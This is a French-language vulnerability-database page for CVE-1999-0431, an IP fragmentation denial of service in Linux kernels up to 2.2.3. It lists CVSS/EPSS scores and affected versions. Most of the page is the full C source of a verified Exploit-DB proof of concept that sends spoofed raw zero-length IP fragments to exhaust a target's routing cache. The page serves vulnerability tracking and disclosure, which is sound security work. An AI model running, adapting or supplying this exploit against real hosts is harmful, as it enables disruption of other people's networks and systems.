CVE-1999-0431 : Détail

CVE-1999-0431

6.18%V4
Network
2000-02-04
04h00 +00:00
2024-08-01
16h41 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Linux 2.2.3 and earlier allow a remote attacker to perform an IP fragmentation attack, causing a denial of service.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 20566

Date de publication : 1997-12-07 23h00 +00:00
Auteur : John McDonald
EDB Vérifié : Yes

/* source: https://www.securityfocus.com/bid/2247/info Linux kernel versions 2.1.89 to 2.2.3 are vulnerable to a denial of service attack caused when a 0-length IP fragment is received, if it is the first fragment in the list. Several thousands 0-length packets must be sent in order for this to initiate a denial of service against the target. */ /* * sesquipedalian.c - Demonstrates a DoS bug in Linux 2.1.89 - 2.2.3 * * by horizon <jmcdonal@unf.edu> * * This sends a series of IP fragments such that a 0 length fragment is first * in the fragment list. This causes a reference count on the cached routing * information for that packet's originator to be incremented one extra time. * This makes it impossible for the kernel to deallocate the destination entry * and remove it from the cache. * * If we send enough fragments such that there are at least 4096 stranded * dst cache entries, then the target machine will no longer be able to * allocate new cache entries, and IP communication will be effectively * disabled. You will need to set the delay such that packets are not being * dropped, and you will probably need to let the program run for a few * minutes to have the full effect. This was written for OpenBSD and Linux. * * Thanks to vacuum, colonwq, duke, rclocal, sygma, and antilove for testing. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <netinet/in.h> #include <sys/socket.h> #include <netdb.h> #include <arpa/inet.h> struct my_ip_header { unsigned char ip_hl:4, /* header length */ ip_v:4; /* version */ unsigned char ip_tos; /* type of service */ unsigned short ip_len; /* total length */ unsigned short ip_id; /* identification */ unsigned short ip_off; /* fragment offset field */ #define IP_RF 0x8000 /* reserved fragment flag */ #define IP_DF 0x4000 /* dont fragment flag */ #define IP_MF 0x2000 /* more fragments flag */ #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ unsigned char ip_ttl; /* time to live */ unsigned char ip_p; /* protocol */ unsigned short ip_sum; /* checksum */ unsigned long ip_src, ip_dst; /* source and dest address */ }; struct my_udp_header { unsigned short uh_sport; unsigned short uh_dport; unsigned short uh_ulen; unsigned short uh_sum; }; #define IHLEN (sizeof (struct my_ip_header)) #define UHLEN (sizeof (struct my_udp_header)) #ifdef __OpenBSD__ #define EXTRA 8 #else #define EXTRA 0 #endif unsigned short checksum(unsigned short *data,unsigned short length) { register long value; u_short i; for(i=0;i<(length>>1);i++) value+=data[i]; if((length&1)==1) value+=(data[i]<<8); value=(value&65535)+(value>>16); return(~value); } unsigned long resolve( char *hostname) { long result; struct hostent *hp; if ((result=inet_addr(hostname))==-1) { if ((hp=gethostbyname(hostname))==0) { fprintf(stderr,"Can't resolve target.\n"); exit(1); } bcopy(hp->h_addr,&result,4); } return result; } void usage(void) { fprintf(stderr,"usage: ./sqpd [-s sport] [-d dport] [-n count] [-u delay] source target\n"); exit(0); } void sendem(int s, unsigned long source, unsigned long dest, unsigned short sport, unsigned short dport) { static char buffer[8192]; struct my_ip_header *ip; struct my_udp_header *udp; struct sockaddr_in sa; bzero(&sa,sizeof(struct sockaddr_in)); sa.sin_family=AF_INET; sa.sin_port=htons(sport); sa.sin_addr.s_addr=dest; bzero(buffer,IHLEN+32); ip=(struct my_ip_header *)buffer; udp=(struct my_udp_header *)&(buffer[IHLEN]); ip->ip_v = 4; ip->ip_hl = IHLEN >>2; ip->ip_tos = 0; ip->ip_id = htons(random() & 0xFFFF); ip->ip_ttl = 142; ip->ip_p = IPPROTO_UDP; ip->ip_src = source; ip->ip_dst = dest; udp->uh_sport = htons(sport); udp->uh_dport = htons(dport); udp->uh_ulen = htons(64-UHLEN); udp->uh_sum = 0; /* Our first fragment will have an offset of 0, and be 32 bytes long. This gets added as the only element in the fragment list. */ ip->ip_len = htons(IHLEN+32); ip->ip_off = htons(IP_MF); ip->ip_sum = 0; ip->ip_sum = checksum((u_short *)buffer,IHLEN+32); if (sendto(s,buffer,IHLEN+32,0,(struct sockaddr*)&sa,sizeof(sa)) < 0) { perror("sendto"); exit(1); } /* Our second fragment will have an offset of 0, and a 0 length. This gets added to the list before our previous fragment, making it first in line. */ ip->ip_len = htons(IHLEN); ip->ip_off = htons(IP_MF); ip->ip_sum = 0; ip->ip_sum = checksum((u_short *)buffer,IHLEN); if (sendto(s,buffer,IHLEN+EXTRA,0,(struct sockaddr*)&sa,sizeof(sa)) < 0) { perror("sendto"); exit(1); } /* Our third and final frag has an offset of 4 (32 bytes), and a length of 32 bytes. This passes our three frags up to ip_glue. */ ip->ip_len = htons(IHLEN+32); ip->ip_off = htons(32/8); ip->ip_sum = 0; ip->ip_sum = checksum((u_short *)buffer,IHLEN+32); if (sendto(s,buffer,IHLEN+32,0,(struct sockaddr*)&sa,sizeof(sa)) < 0) { perror("sendto"); exit(1); } } int main(int argc, char **argv) { int sock; int on=1,i; unsigned long source, dest; unsigned short sport=53, dport=16384; int delay=20000, count=15000; if (argc<3) usage(); while ((i=getopt(argc,argv,"s:d:n:u:"))!=-1) { switch (i) { case 's': sport=atoi(optarg); break; case 'd': dport=atoi(optarg); break; case 'n': count=atoi(optarg); break; case 'u': delay=atoi(optarg); break; default: usage(); } } argc-=optind; argv+=optind; source=resolve(argv[0]); dest=resolve(argv[1]); srandom(time((time_t)0)*getpid()); if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(1); } if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) { perror("setsockopt: IP_HDRINCL"); exit(1); } fprintf(stdout,"\nStarting attack on %s ...",argv[1]); for (i=0; i<count; i++) { sendem(sock,source+htonl(i),dest,sport,dport); if (!(i%2)) usleep(delay); if (!(i%100)) { if (!(i%2000)) fprintf(stdout,"\n"); fprintf(stdout,"."); fflush(stdout); } } fprintf(stdout,"\nDone.\n"); exit(1); }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.2.3

Linux>>Linux_kernel >> Version 2.1.89

Linux>>Linux_kernel >> Version 2.2.0

Linux>>Linux_kernel >> Version 2.2.10

Linux>>Linux_kernel >> Version 2.2.12

Linux>>Linux_kernel >> Version 2.2.13

Linux>>Linux_kernel >> Version 2.2.14

Linux>>Linux_kernel >> Version 2.2.15

Linux>>Linux_kernel >> Version 2.2.15

Linux>>Linux_kernel >> Version 2.2.15_pre20

    Linux>>Linux_kernel >> Version 2.2.16

    Linux>>Linux_kernel >> Version 2.2.16

    Références